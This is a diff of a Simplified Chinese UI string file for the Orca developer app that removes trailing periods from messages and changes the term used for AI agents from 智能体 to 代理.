                 "64265cb295": "29% 已用 5小时",
@@ -15157,23 +15481,23 @@
           },
           "FeatureWallBrowserAction": {
             "5022c43a88": "无法打开浏览器",
-            "c9eb68b474": "此工作树尚无可用的工作区组。",
+            "c9eb68b474": "此工作树尚无可用的工作区组",
             "c9728107c5": "试试看",
             "25dd101f15": "浏览器设置需要处理",
             "e02b11e6b0": "浏览器设置已就绪",
             "78e65f19d9": "浏览器设置失败",
-            "b7345c18db": "发生了意外错误。",
+            "b7345c18db": "发生了意外错误",
             "5f97caf76b": "正在安装…"
           },
           "ConnectIntegrationsList": {
-            "33b650af52": "连接团队用于跟踪工作的地方。Orca 会在启动工作区时自动附上议题标题、链接和上下文。",
+            "33b650af52": "连接团队用于跟踪工作的地方，Orca 会在启动工作区时自动附上议题标题、链接和上下文",
             "list_end": "，以及",
             "list_pair": " 和 ",
             "list_mid": ", ",
-            "code_host_tasks_caption": "代码托管平台的议题也可以作为任务使用。",
-            "review_step_title": "在智能体工作时查看 PR 状态",
-            "review_step_description": "连接评审提供方，让 Orca 显示 PR 或 MR 状态、检查和评审。",
-            "task_step_title": "无需离开 Orca，即可让智能体处理任务",
+            "code_host_tasks_caption": "代码托管平台的议题也可以作为任务使用",
+            "review_step_title": "在代理工作时查看 PR 状态",
+            "review_step_description": "连接评审提供方，让 Orca 显示 PR 或 MR 状态、检查和评审",
+            "task_step_title": "无需离开 Orca，即可让代理处理任务",
             "reviewConnectedSummary": "<provider>{{provider}}</provider> 已连接，可查看审查状态",
             "tasksConnectedSummary": "<sources/> 已连接，可用于任务",
             "codeHostTasksSummary": "<provider>{{provider}}</provider> 的议题可用作任务 · 如果团队在 Linear 或 Jira 中规划工作，请添加相应服务"
@@ -15195,12 +15519,12 @@
             "fa809e8ada": "已打开 macOS 隐私与安全性",
             "bfa3402305": "无法请求权限",
             "c566bca278": "完全磁盘访问权限",
-            "0d6efe9cf4": "当项目或工作树位于受保护文件夹时，建议在 macOS 上开启。",
+            "0d6efe9cf4": "当项目或工作树位于受保护文件夹时，建议在 macOS 上开启",
             "dac08ec03e": "正在打开...",
             "6e3d62b816": "打开完全磁盘访问权限"
           },
           "FeatureWallTourSurface": {
-            "reopenHint": "可随时从 帮助 > 探索 Orca 重新打开。",
+            "reopenHint": "可随时从 帮助 > 探索 Orca 重新打开",
             "done": "完成",
             "continue": "继续"
           }
@@ -15211,7 +15535,7 @@
             "22e62f3bab": "Claude Code 会话已开始"
           },
           "CmdJPaletteTipDialog": {
-            "rebindInSettings": "可随时在 <link>设置 → 快捷键</link> 中修改快捷键。"
+            "rebindInSettings": "可随时在 <link>设置 → 快捷键</link> 中修改快捷键"
           },
           "FeatureTipActions": {
             "eb04abece8": "也许稍后",
@@ -15221,32 +15545,52 @@
           },
           "FeatureTipsModal": {
             "c169298e4d": "完成",
-            "3c6c478462": "X 完成后，把评审任务发给它。”",
+            "3c6c478462": "X 完成后，把评审任务发给它，\"",
             "298301b7a0": "工作树",
             "864e2db28f": "当",
             "4795ac2d4a": "尝试询问：",
-            "53905bd076": "开发预览：打开技能设置终端。",
+            "53905bd076": "开发预览：打开技能设置终端",
             "1da82af45b": "Orca CLI 需要注意",
-            "ce13a742d0": "在 PATH 中注册了 `orca`。",
-            "d1a86c7eb5": "打开“设置”以完成 CLI 设置。",
-            "cliInstallFailed": "无法安装 Orca CLI。",
+            "ce13a742d0": "在 PATH 中注册了 `orca`",
+            "d1a86c7eb5": "打开\"设置\"以完成 CLI 设置",
+            "cliInstallFailed": "无法安装 Orca CLI",
             "splitPrPrompt": "“将此 PR 拆分到两个<term>工作树</term>，并分别创建 PR。”"
           },
           "CmdJPaletteFeatureTipVisual": {
-            "ab94e16d44": "创建工作树“{{value0}}”"
+            "ab94e16d44": "创建工作树\"{{value0}}\""
           },
           "CliSkillSetupPanel": {
             "title": "技能设置",
-            "description": "为你的智能体安装 Orca CLI 和编排技能。"
+            "description": "为你的智能体安装 Orca CLI 和编排技能"
           },
           "CliSkillSetupTerminal": {
-            "6ff813fc1d": "复制技能命令失败。",
-            "1953e90447": "按 Enter 为您的智能体安装 Orca CLI 编排技能。",
+            "6ff813fc1d": "复制技能命令失败",
+            "1953e90447": "按 Enter 为您的代理安装 Orca CLI 编排技能",
             "84e9576dac": "技能设置",
             "43b60ec5c3": "Orca CLI 和编排技能安装终端",
             "5c3aee22c0": "复制命令",
             "5eca672aac": "复制技能安装命令",
-            "b8ad063571": "复制技能安装命令。"
+            "b8ad063571": "复制技能安装命令"
+          },
+          "feature": {
+            "tip": {
+              "copy": {
+                "1fcdfc5fe8": "新功能",
+                "f98e9d1bad": "搜索所有代理会话",
+                "990cc29865": "按对话内容查找任意过往会话，然后从代理停止的位置继续",
+                "91e2719807": "启用会话搜索",
+                "52e9e84809": "提示",
+                "3eacedec93": "用 Orca CLI 让代理驱动 Orca",
+                "8d54d0ff53": "让代理协调子工作树，并在工作树之间通信",
+                "0080bc86eb": "安装 CLI 与技能",
+                "9b58bc5d7a": "使用 <shortcut> 跳转到工作树",
+                "655fc3cb5a": "搜索工作树、切换标签、调整设置或新建工作树，全程不必离开键盘",
+                "eb5e9e90ec": "知道了",
+                "5221facada": "在任意窗格中听写",
+                "5d69275490": "在当前聚焦的窗格开始语音听写，再次使用快捷键即可停止",
+                "24aaad376f": "设置语音听写"
+              }
+            }
           }
         }
       },
@@ -15254,8 +15598,8 @@
         "boundaries": {
           "RecoverableRenderErrorBoundary": {
             "55001880db": "重试",
-            "34a189ae0f": "应用程序的其余部分仍在运行。重试此表面或切换出去然后再回来。",
-            "ab855c11f4": "Orca 的这一部分遇到了错误。"
+            "34a189ae0f": "应用程序的其余部分仍在运行，重试此表面或切换出去然后再回来",
+            "ab855c11f4": "Orca 的这一部分遇到了错误"
           }
         }
       },
@@ -15268,7 +15612,7 @@
             "device": {
               "frame": {
                 "9406c15775": "模拟器屏幕",
-                "8f25ffaf8a": "模拟器屏幕，键盘捕获。按 Esc 键释放。"
+                "8f25ffaf8a": "模拟器屏幕，键盘捕获，按 Esc 键释放"
               }
             },
             "pane": {
@@ -15295,7 +15639,7 @@
             "emulator": {
               "frame": {
                 "stream": {
-                  "f1c0179002": "流不生成帧。"
+                  "f1c0179002": "流不生成帧"
                 }
               }
             },
@@ -15304,16 +15648,16 @@
                 "agent": {
                   "setup": {
                     "state": {
-                      "35dea1ae12": "智能体控制已就绪。",
-                      "c94ff11e91": "无法重新检查设置状态。",
-                      "skillNotInstalled": "Orca CLI 技能尚未安装。"
+                      "35dea1ae12": "代理控制已就绪",
+                      "c94ff11e91": "无法重新检查设置状态",
+                      "skillNotInstalled": "Orca CLI 技能尚未安装"
                     }
                   }
                 },
                 "tab": {
                   "intro": {
                     "actions": {
-                      "68a5dc6604": "无法隐藏移动模拟器。"
+                      "68a5dc6604": "无法隐藏移动模拟器"
                     }
                   }
                 }
@@ -15321,23 +15665,23 @@
             }
           },
           "MobileEmulatorAgentSetupGuide": {
-            "2fda9ff015": "设置智能体控制",
-            "0ac0fef514": "智能体控制已就绪。",
-            "2bdfff8763": "智能体控制（可选）。",
+            "2fda9ff015": "设置代理控制",
+            "0ac0fef514": "代理控制已就绪",
+            "2bdfff8763": "代理控制(可选)",
             "d10ae98046": "完成",
             "3756cbeca7": "暂不",
             "6d950431d2": "隐藏",
             "ebceac65a4": "设置",
             "3f003507f4": "在设置中打开完整设置",
-            "installSkillPrompt": "如需让智能体操作此模拟器，请安装 Orca CLI 技能。"
+            "installSkillPrompt": "如需让智能体操作此模拟器，请安装 Orca CLI 技能"
           },
           "MobileEmulatorAgentSetupGuideSteps": {
             "21f5687c07": "Orca CLI 技能",
-            "64fb057667": "教授智能体此工作区的 orca 模拟器命令。"
+            "64fb057667": "教授代理此工作区的 orca 模拟器命令"
           },
           "MobileEmulatorTabIntroCallout": {
             "1924982130": "关闭",
-            "5789936d9a": "在智能体控制屏幕时预览 iOS 模拟器。",
+            "5789936d9a": "在代理控制屏幕时预览 iOS 模拟器",
             "8014b4b80b": "保留",
             "6e051a40b7": "隐藏"
           },
@@ -15353,16 +15697,16 @@
             }
           },
           "useEmulatorScreenKeyboard": {
-            "pasteTooLarge": "模拟器键盘输入的粘贴内容过大。",
-            "unsupportedPasteText": "模拟器键盘粘贴仅支持美式键盘文本。",
-            "pasteTargetUnavailable": "模拟器键盘粘贴失败，因为设备尚未就绪。"
+            "pasteTooLarge": "模拟器键盘输入的粘贴内容过大",
+            "unsupportedPasteText": "模拟器键盘粘贴仅支持美式键盘文本",
+            "pasteTargetUnavailable": "模拟器键盘粘贴失败，因为设备尚未就绪"
           }
         }
       },
       "editor": {
         "ChangesModeView": {
-          "ef25ae2d09": "没有未提交的更改。",
-          "052c184f24": "此文件的文本差异不可用。",
+          "ef25ae2d09": "没有未提交的更改",
+          "052c184f24": "此文件的文本差异不可用",
           "7dffb0f563": "二进制文件",
           "54e0035b15": "加载差异..."
         },
@@ -15371,7 +15715,7 @@
           "1f9f4def45": "复制代码"
         },
         "CombinedDiffFileTree": {
-          "f984289373": "没有文件与当前筛选条件匹配。",
+          "f984289373": "没有文件与当前筛选条件匹配",
           "eafe1aeb53": "重置筛选条件",
           "be119cb9d1": "已查看的文件",
           "c00020f081": "文件扩展名",
@@ -15391,12 +15735,12 @@
           "0f806a2ab1": "取消",
           "b6c3b84476": "显示文件树",
           "39f8007549": "评审冲突",
-          "skippedConflictsExcluded_one": "{{count}} 个未解决的冲突已被排除在此差异视图之外。",
-          "skippedConflictsExcluded_other": "{{count}} 个未解决的冲突已被排除在此差异视图之外。",
+          "skippedConflictsExcluded_one": "{{count}} 个未解决的冲突已被排除在此差异视图之外",
+          "skippedConflictsExcluded_other": "{{count}} 个未解决的冲突已被排除在此差异视图之外",
           "820ec01f24": "冲突文件单独评审",
           "fd8892b120": "没有显示任何变化",
-          "eb5f40e49c": "此差异视图排除了未解决的冲突，因为普通的双向差异管道不是冲突安全的。",
-          "45cf23b418": "无法清除笔记。",
+          "eb5f40e49c": "此差异视图排除了未解决的冲突，因为普通的双向差异管道不是冲突安全的",
+          "45cf23b418": "无法清除笔记",
           "ec5053c7f5": "并排",
           "f786fd54e1": "内联",
           "ea08dae15b": "全部折叠",
@@ -15405,12 +15749,12 @@
           "3d909843bb": "打开分支差异",
           "a4420ca1f7": "开启换行",
           "dde325ddfe": "关闭换行",
-          "2e91bc89d1": "空白打开",
-          "2bf19c54ad": "空白关闭",
+          "2e91bc89d1": "开启空白字符显示",
+          "2bf19c54ad": "关闭空白字符显示",
           "untrackedFiles": "未跟踪文件",
           "noExtension": "（无扩展名）",
-          "diffLoadTimedOut": "差异加载未完成。",
-          "diffLoadFailed": "无法加载差异。",
+          "diffLoadTimedOut": "差异加载未完成",
+          "diffLoadFailed": "无法加载差异",
           "moreNotesInSourceControl_other": "源代码控制中还有 {{count}} 条笔记",
           "clearNotesConfirm_other": "清除此工作树中的 {{count}} 条笔记？",
           "changedFilesVs_other": "相比 {{baseRef}}，有 {{count}} 个文件更改",
@@ -15419,7 +15763,8 @@
           "showAiNotes_other": "显示 {{count}} 条 AI 笔记",
           "send": "发送",
           "openDiff": "打开差异",
-          "openInEditor": "在编辑器中打开"
+          "openInEditor": "在编辑器中打开",
+          "skippedConflictsExcluded": "{{count}} 个未解决的冲突已被排除在此差异视图之外"
         },
         "ConflictComponents": {
           "f338288514": "正在加载冲突内容...",
@@ -15427,17 +15772,17 @@
           "c8ca989aea": "显示文件树",
           "58ad5ad431": "关闭",
           "28e7db4a90": "源代码控制",
-          "31931dec46": "此评审快照不再有任何未解决的实时冲突。",
+          "31931dec46": "此评审快照不再有任何未解决的实时冲突",
           "992145ff5a": "所有冲突均已解决",
-          "6e459867ad": "会话本地连续性状态。 Git 不再将此文件报告为未合并。",
+          "6e459867ad": "会话本地连续性状态，Git 不再将此文件报告为未合并",
           "9c2901ef8a": "下一次冲突",
           "41d9af2e7a": "上一个冲突",
-          "da539359b6": "对于此冲突，没有可编辑的工作树文件。",
+          "da539359b6": "对于此冲突，没有可编辑的工作树文件",
           "unresolvedConflicts_one": "{{count}} 个未解决的冲突",
           "unresolvedConflicts_other": "{{count}} 个未解决的冲突"
         },
         "ConflictReviewFileTree": {
-          "3449521a8c": "此快照中没有冲突。",
+          "3449521a8c": "此快照中没有冲突",
           "a54551c5a6": "折叠文件树",
           "99496bab6e": "文件",
           "496e28a932": "走了",
@@ -15463,31 +15808,31 @@
           "35d6afb5be": "二进制文件已更改",
           "cef4cf0ff5": "重试",
           "f5cf81cec2": "加载差异...",
-          "72f71f52eb": "此文件的文本差异不可用。",
-          "7ce8436458": "分支比较中此文件的文本差异不可用。",
+          "72f71f52eb": "此文件的文本差异不可用",
+          "7ce8436458": "分支比较中此文件的文本差异不可用",
           "b5675b0694": "保存",
-          "593f2193f6": "此草稿已超过安全显示限制，但仍可保存。"
+          "593f2193f6": "此草稿已超过安全显示限制，但仍可保存"
         },
         "DiffSectionHeader": {
           "8915726e93": "复制路径"
         },
         "EditorContent": {
-          "56dba34e1a": "（在源码模式下编辑）",
+          "56dba34e1a": "(在源模式下编辑)",
           "e4b074749d": "前言",
-          "9640d1d3db": "预览此差异的修改版本。切换到源码模式以检查更改。",
+          "9640d1d3db": "预览此差异的修改版本，切换到源模式以检查更改",
           "78541e254e": "二进制文件已更改",
           "c88c73a0d3": "加载差异...",
           "b9de81ba52": "二进制文件——无法显示",
           "b2735221f5": "加载中...",
-          "8608ce4cb1": "Markdown 预览不适用于二进制文件。",
+          "8608ce4cb1": "Markdown 预览不适用于二进制文件",
           "37a0e81fa6": "正在加载预览...",
-          "8b1a605bae": "该文件处于冲突状态，但没有可编辑的工作树文件。",
+          "8b1a605bae": "该文件处于冲突状态，但没有可编辑的工作树文件",
           "2a512bb46a": "重试",
           "39f018b052": "无法加载文件",
-          "8a0898ae4c": "此文件的文本差异不可用。",
-          "3c6e71df22": "分支比较中此文件的文本差异不可用。",
-          "6c4f1a8d2e": "检查详情不可用。",
-          "resolveConflictGuidance": "重新打开前，请先在 Git 中解决冲突，或恢复其中一方的内容。"
+          "8a0898ae4c": "此文件的文本差异不可用",
+          "3c6e71df22": "分支比较中此文件的文本差异不可用",
+          "6c4f1a8d2e": "检查详情不可用",
+          "resolveConflictGuidance": "重新打开前，请先在 Git 中解决冲突，或恢复其中一方的内容"
         },
         "EditorPanelHeader": {
           "fb8331694e": "打开侧面预览",
@@ -15511,7 +15856,7 @@
           "3e0ce48c24": "导出为 PDF",
           "561251019a": "更多操作",
           "1eef809708": "自动换行",
-          "4dedd55efa": "显示空白"
+          "4dedd55efa": "显示空白字符"
         },
         "EditorPanelShell": {
           "e2c4dec350": "正在加载编辑器..."
@@ -15544,7 +15889,7 @@
         "IpynbViewer": {
           "859bf9fc21": "运行单元格",
           "7f0d7077c6": "取消",
-          "10ed04a685": "笔记本单元在本机上从笔记本文件夹执行本地 Python。仅运行您信任的文件中的单元。",
+          "10ed04a685": "笔记本单元在本机上从笔记本文件夹执行本地 Python，仅运行您信任的文件中的单元",
           "9e06ae5d36": "运行笔记本代码？",
           "d6f37a640b": "空笔记本",
           "15ec40a735": "保存笔记本",
@@ -15566,43 +15911,43 @@
           "kernelInstalling": "正在安装 ipykernel…",
           "kernelDead": "内核已停止",
           "selectKernel": "选择内核",
-          "notPython": "该文件不是 Python 解释器。",
+          "notPython": "该文件不是 Python 解释器",
           "interrupt": "中断",
           "restart": "重启内核",
           "trustFirst": "请先运行一个单元格以信任此笔记本",
           "runAll": "全部运行",
           "clearAll": "清除所有输出",
-          "notResponding": "无响应。请重启内核",
+          "notResponding": "无响应，请重启内核",
           "findingPython": "正在查找 Python 环境…",
           "recommended": "推荐",
           "pythonOnPath": "PATH 中的 Python",
           "browsePython": "浏览 Python…",
           "missingIpykernelTitle": "安装 ipykernel？",
-          "missingIpykernel": "使用“{{env}}”运行单元格需要 ipykernel 软件包。",
+          "missingIpykernel": "使用“{{env}}”运行单元格需要 ipykernel 软件包",
           "copyCommand": "复制命令",
           "install": "安装",
-          "kernelStartFailed": "内核启动失败。",
-          "noPython": "在此电脑上未找到 Python。请从 [python.org](https://www.python.org/downloads/) 安装，然后重新运行单元格。",
-          "kernelDied": "内核已停止。",
+          "kernelStartFailed": "内核启动失败",
+          "noPython": "在此电脑上未找到 Python，请从 [python.org](https://www.python.org/downloads/) 安装，然后重新运行单元格",
+          "kernelDied": "内核已停止",
           "outputTruncated": "输出已截断：Orca 保留了此单元格输出的开头部分，并丢弃了其余内容。如需保留全部输出，请改为写入文件。",
-          "localOnly": "笔记本单元格只能针对此电脑上的文件运行。",
-          "pythonOnly": "Orca 中只能运行 Python 笔记本。",
+          "localOnly": "笔记本单元格只能针对此电脑上的文件运行",
+          "pythonOnly": "Orca 中只能运行 Python 笔记本",
           "commandCopied": "命令已复制",
           "createVenv": "创建 .venv",
           "createVenvItem": "创建虚拟环境…",
           "createVenvTitle": "创建虚拟环境？",
           "creatingButton": "正在创建…",
-          "creatingVenvDescription": "正在 {{folder}} 中创建 .venv 并安装 ipykernel。这可能需要一分钟。",
+          "creatingVenvDescription": "正在 {{folder}} 中创建 .venv 并安装 ipykernel，这可能需要一分钟",
           "creatingVenvTitle": "正在创建虚拟环境…",
           "installingButton": "正在安装…",
-          "installingDescription": "正在使用 pip 将 ipykernel 安装到“{{env}}”。这可能需要一分钟。",
+          "installingDescription": "正在使用 pip 将 ipykernel 安装到“{{env}}”，这可能需要一分钟",
           "installingTitle": "正在安装 ipykernel…",
           "kernelCreatingVenv": "正在创建 .venv…",
-          "setupFailed": "操作失败。Python 输出：",
+          "setupFailed": "操作失败，Python 输出：",
           "tryAgain": "重试",
           "useAnotherPython": "使用其他 Python…",
-          "venvDescription": "Orca 将基于“{{env}}”在 {{folder}} 中创建 .venv，安装 ipykernel，并在其中运行此笔记本。",
-          "ownerUnresolved": "Orca 尚无法确定此笔记本文件位于哪台计算机上，因此无法运行其中的单元格。",
+          "venvDescription": "Orca 将基于“{{env}}”在 {{folder}} 中创建 .venv，安装 ipykernel，并在其中运行此笔记本",
+          "ownerUnresolved": "Orca 尚无法确定此笔记本所在的电脑，因此无法运行其单元格",
           "invalidNotebook": "无效的笔记本",
           "cellCount_other": "{{count}} 个单元格"
         },
@@ -15612,7 +15957,7 @@
           "b1bfc04034": "选定的文本",
           "f37b98999e": "此注",
           "2b2b31382c": "前言",
-          "bb629de58a": "复制备注给智能体",
+          "bb629de58a": "复制备注给代理",
           "322afab6ff": "复习笔记",
           "0f9969a159": "跳转到第一个评论笔记",
           "12052c639c": "关闭搜索",
@@ -15620,7 +15965,7 @@
           "1febd97f5c": "上一个结果",
           "ec77985138": "在 Markdown 预览中查找",
           "517aea303b": "在预览中查找",
-          "f961e94057": "复制备注给智能体",
+          "f961e94057": "复制备注给代理",
           "94b520a96a": "复制的注释",
           "13f94d760c": "添加备注",
           "ddf087d12e": "所有未发送的笔记",
@@ -15648,9 +15993,9 @@
         "MarkdownTemplatePicker": {
           "22cd94426f": "untitled.md",
           "6e2e6c04ad": "空白 Markdown",
-          "df667919ca": "没有匹配的模板。",
+          "df667919ca": "没有匹配的模板",
           "22fd4890ad": "搜索模板...",
-          "7b458e0b7f": "选择 Markdown 模板。",
+          "7b458e0b7f": "选择 Markdown 模板",
           "1829437fce": "新 Markdown",
           "newDocumentHeading": "新建文档"
         },
@@ -15669,12 +16014,12 @@
         "MermaidBlock": {
           "dcc132e691": "图表错误：",
           "expand": "展开图表",
-          "invalidSyntax": "无效的 Mermaid 语法"
+          "invalidSyntax": "Mermaid 语法无效"
         },
         "MonacoEditor": {
           "68cb83f4a7": "在选定的文本上添加注释",
           "fd68ae03b3": "在文件中搜索",
-          "largePasteTooLarge": "粘贴内容过大。"
+          "largePasteTooLarge": "粘贴内容过大"
         },
         "MonacoGutterContextMenu": {
           "7b57b1b468": "复制远程 URL",
@@ -15683,7 +16028,7 @@
         },
         "NotesSendMenu": {
           "44dc5e60a6": "发送笔记",
-          "433928cd9f": "将 {{value0}} 发送给智能体",
+          "433928cd9f": "将 {{value0}} 发送给代理",
           "thisNote": "这条笔记",
           "noteAlreadySent": "笔记已发送",
           "sendNotesToAgent": "将笔记发送给智能体",
@@ -15708,9 +16053,9 @@
           "decodeFailed": "无法解码 PDF 内容"
         },
         "ReviewNotesSendMenuContent": {
-          "a49800405b": "新智能体",
+          "a49800405b": "新代理",
           "03378aea75": "发送注释至",
-          "bb9c69a0c9": "注释已发送。",
+          "bb9c69a0c9": "注释已发送",
           "50f7e753ea": "正在发送注释..."
         },
         "RichMarkdownAnnotationOverlay": {
@@ -15753,8 +16098,8 @@
         },
         "RichMarkdownErrorBoundary": {
           "aad0998127": "重试",
-          "4a5de9f2f0": "切换到源码模式，或单击“重试”以重新加载富文本视图。",
-          "dfdf1cacd4": "富文本 Markdown 编辑器遇到了意外错误，并被重置以保持 Orca 的其余部分响应。"
+          "4a5de9f2f0": "切换到源模式，或单击\"重试\"以重新加载丰富视图",
+          "dfdf1cacd4": "丰富的 Markdown 编辑器遇到了意外错误，并被重置以保持 Orca 的其余部分响应"
         },
         "RichMarkdownLinkBubble": {
           "1c99b726e0": "删除链接",
@@ -15765,12 +16110,12 @@
         },
         "RichMarkdownReviewNoteLayer": {
           "f3ef92952b": "此注",
-          "9cde7ad994": "复制备注给智能体",
+          "9cde7ad994": "复制备注给代理",
           "117432e2c6": "复制的注释",
           "3ababd949d": "复习笔记"
         },
         "RichMarkdownReviewRailActions": {
-          "636394af72": "复制备注给智能体",
+          "636394af72": "复制备注给代理",
           "a807596997": "复制笔记",
           "8aaf2c4c69": "显示评论笔记",
           "af02dc2456": "隐藏评论注释"
@@ -15789,7 +16134,7 @@
           "fd97c7e585": "替换",
           "44682b4159": "在 Markdown 编辑器中替换",
           "c2884f5e95": "全部替换",
-          "preservedRichContentReadOnly": "保留的富文本内容在富文本模式下为只读。"
+          "preservedRichContentReadOnly": "保留的富文本内容在富文本模式下为只读"
         },
         "RichMarkdownSlashMenu": {
           "82c6816ff8": "没有找到块",
@@ -15846,7 +16191,7 @@
           "2d7d39dc63": ".md",
           "c8ac7868e6": "文件名",
           "b6ed807cc6": "名称",
-          "e365f3c638": "为您的 Markdown 文件命名并选择一个文件夹。",
+          "e365f3c638": "为您的 Markdown 文件命名并选择一个文件夹",
           "674b046582": "另存为",
           "nameEmpty": "名称不能为空",
           "nameHasSeparators": "名称不能包含路径分隔符",
@@ -15867,9 +16212,9 @@
         "markdown": {
           "rich": {
             "mode": {
-              "7a8ce7c7da": "只能在代码模式下编辑，因为该文件包含脚注。",
-              "2fd2b44073": "只能在代码模式下编辑，因为该文件包含引用样式链接。",
-              "57128b73e1": "只能在代码模式下编辑，因为该文件包含 HTML、JSX 或 MDX。"
+              "7a8ce7c7da": "只能在代码模式下编辑，因为该文件包含脚注",
+              "2fd2b44073": "只能在代码模式下编辑，因为该文件包含引用样式链接",
+              "57128b73e1": "只能在代码模式下编辑，因为该文件包含 HTML、JSX 或 MDX"
             }
           }
         },
@@ -15884,54 +16229,54 @@
             },
             "slash": {
               "commands": {
-                "07e1b32396": "插入纯 Unicode 表情符号。",
+                "07e1b32396": "插入纯 Unicode 表情符号",
                 "8a30cbaeca": "表情符号",
-                "3324eb391a": "插入计算机中的图像。",
+                "3324eb391a": "插入计算机中的图像",
                 "572be8e524": "图像",
-                "ae7d0f3f37": "插入显示 LaTeX 数学。",
+                "ae7d0f3f37": "插入显示 LaTeX 数学",
                 "6993a38ad1": "数学块",
-                "565907cf7a": "插入内联 LaTeX 数学。",
+                "565907cf7a": "插入内联 LaTeX 数学",
                 "2bf5544faf": "内联数学",
-                "0ed9a7b38c": "插入Mermaid栅栏块。",
+                "0ed9a7b38c": "插入 Mermaid 栅栏块",
                 "e516d3f6e3": "M z图",
-                "67faab829b": "插入 3x3 Markdown 表格。",
+                "67faab829b": "插入 3x3 Markdown 表格",
                 "19ea597868": "桌子",
-                "fae45ef4d3": "插入水平线。",
+                "fae45ef4d3": "插入水平线",
                 "ae8377cf6b": "分频器",
-                "89e327e054": "插入受隔离的代码块。",
+                "89e327e054": "插入受隔离的代码块",
                 "624b50cf25": "代码块",
-                "972ef9aeea": "创建一个可折叠的文本部分。",
+                "972ef9aeea": "创建一个可折叠的文本部分",
                 "f82c78a2ee": "切换文本",
-                "9a7fe896dc": "开始一个正常的段落。",
+                "9a7fe896dc": "开始一个正常的段落",
                 "58abdb9d41": "段落",
-                "d766f44867": "创建一个清单。",
+                "d766f44867": "创建一个清单",
                 "d0d2cdfbdb": "检查清单",
-                "c9b9e826b8": "创建一个无序列表。",
+                "c9b9e826b8": "创建一个无序列表",
                 "56ff3237e7": "项目符号列表",
-                "8e00aba296": "创建一个有序列表。",
+                "8e00aba296": "创建一个有序列表",
                 "ed4cf0ebce": "编号列表",
-                "6a3def14de": "插入块引用。",
+                "6a3def14de": "插入块引用",
                 "c4c775778b": "引用",
-                "4920740259": "小节标题。",
+                "4920740259": "小节标题",
                 "30566ee962": "标题 3",
-                "45cf7ceb3f": "中节标题。",
+                "45cf7ceb3f": "中节标题",
                 "c209a116b7": "标题 2",
-                "3294a2c0cc": "创建一个带有大标题摘要的可折叠部分。",
+                "3294a2c0cc": "创建一个带有大标题摘要的可折叠部分",
                 "41482b15ce": "切换标题 1",
-                "570611864e": "大节标题。",
+                "570611864e": "大节标题",
                 "e66e7f04c6": "标题 1",
                 "5f9a0ed7c4": "标题 4",
-                "01a71dbbdd": "嵌套小节标题。",
+                "01a71dbbdd": "嵌套小节标题",
                 "8440fa4acf": "标题 5",
-                "b287b93c66": "深层小节标题。",
+                "b287b93c66": "深层小节标题",
                 "7a2c1f9b04": "切换标题 2",
-                "b3e5d8a1c6": "创建一个带有中等标题摘要的可折叠部分。",
+                "b3e5d8a1c6": "创建一个带有中等标题摘要的可折叠部分",
                 "2f9d6b4e10": "切换标题 3",
-                "8c1a3e7d52": "创建一个带有小标题摘要的可折叠部分。",
+                "8c1a3e7d52": "创建一个带有小标题摘要的可折叠部分",
                 "5e0b9c2a71": "切换标题 4",
-                "d4f16a8b39": "创建一个带有嵌套标题摘要的可折叠部分。",
+                "d4f16a8b39": "创建一个带有嵌套标题摘要的可折叠部分",
                 "21d8c463e5": "切换标题 5",
-                "dc239b41ad": "创建一个带有深层标题摘要的可折叠部分。"
+                "dc239b41ad": "创建一个带有深层标题摘要的可折叠部分"
               }
             }
           }
@@ -15940,8 +16285,8 @@
           "059bfb0d94": "上下文已复制"
         },
         "useLocalImagePick": {
-          "175cb8b8ce": "插入图片失败。",
-          "91d835dc88": "工作树路径不可用。"
+          "175cb8b8ce": "插入图片失败",
+          "91d835dc88": "工作树路径不可用"
         },
         "useRichMarkdownReviewData": {
           "f9d2acd6b0": "所有未发送的笔记"
@@ -15949,7 +16294,7 @@
         "LargeDiffFallback": {
           "a3c74f8a21": "行数超过安全显示限制",
           "fd92fbde46": "字符数超过安全显示限制",
-          "7d424bb761": "此差异过大，无法安全显示。",
+          "7d424bb761": "此差异过大，无法安全显示",
           "28aa2cc90b": "原始行数",
           "20857938dd": "修改后行数",
           "e5f0d2182e": "字符数",
@@ -15959,7 +16304,7 @@
         },
         "DiffViewer": {
           "b5675b0694": "保存",
-          "593f2193f6": "此草稿已超过安全显示限制，但仍可保存。"
+          "593f2193f6": "此草稿已超过安全显示限制，但仍可保存"
         },
         "CheckRunDetailsPanel": {
           "8f2d0f5a91": "通过",
@@ -15982,14 +16327,14 @@
           "066fedd446": "失败的任务",
           "49731703ea": "任务",
           "ee07b33924": "未知",
-          "07eccfa397": "此检查没有可用详情。",
+          "07eccfa397": "此检查没有可用详情",
           "a916648574": "打开详情",
           "834cb3f23d": "用 AI 修复",
-          "c8f1a2d4e7": "启动前请选择智能体并编辑完整提示词。",
+          "c8f1a2d4e7": "启动前请选择代理并编辑完整提示词",
           "b3e7f9a1c2": "检查修复上下文不可用",
-          "d5a8c2f1b9": "启动默认 AI 智能体来修复此检查",
-          "e2b4d7c8a1": "为此检查选择智能体",
-          "f1c9e3a6d4": "选择智能体修复检查",
+          "d5a8c2f1b9": "启动默认 AI 代理来修复此检查",
+          "e2b4d7c8a1": "为此检查选择代理",
+          "f1c9e3a6d4": "选择代理修复检查",
           "5e2a9c3f88": "在此行打开文件",
           "actionRequired": "需要操作",
           "copyOutput": "复制输出"
@@ -16000,11 +16345,11 @@
               "fix": {
                 "with": {
                   "ai": {
-                    "1a8c4e2b90": "启动 AI 操作前请选择工作区。",
-                    "4f2d9a8c17": "启动 AI 操作前请选择仓库。",
-                    "7c3e1b5d42": "启动 AI 修复前请打开 PR 或 MR。",
-                    "9b2f6d4a81": "此检查没有失败。",
-                    "2ef90c9819": "已为此检查启动 AI 智能体。"
+                    "1a8c4e2b90": "启动 AI 操作前请选择工作区",
+                    "4f2d9a8c17": "启动 AI 操作前请选择仓库",
+                    "7c3e1b5d42": "启动 AI 修复前请打开 PR 或 MR",
+                    "9b2f6d4a81": "此检查没有失败",
+                    "2ef90c9819": "已为此检查启动 AI 代理"
                   }
                 }
               }
@@ -16012,23 +16357,23 @@
           }
         },
         "staleViewEdit": {
-          "rejected": "文件已在另一个视图中更改，因此你在此视图中最近输入的内容已被丢弃。"
+          "rejected": "文件已在另一个视图中更改，因此你在此视图中最近输入的内容已被丢弃"
         },
         "richMarkdownLargeTextPaste": {
-          "tooLarge": "粘贴内容过大。",
-          "stopped": "大浆糊还没完成就停了。",
-          "cancelled": "大型粘贴被取消，因为其原始目标发生了变化。"
+          "tooLarge": "粘贴内容过大",
+          "stopped": "大浆糊还没完成就停了",
+          "cancelled": "大型粘贴被取消，因为其原始目标发生了变化"
         },
         "CheckRunJobs": {
           "5a8e1d4f23": " · ",
-          "copy": "复制作业",
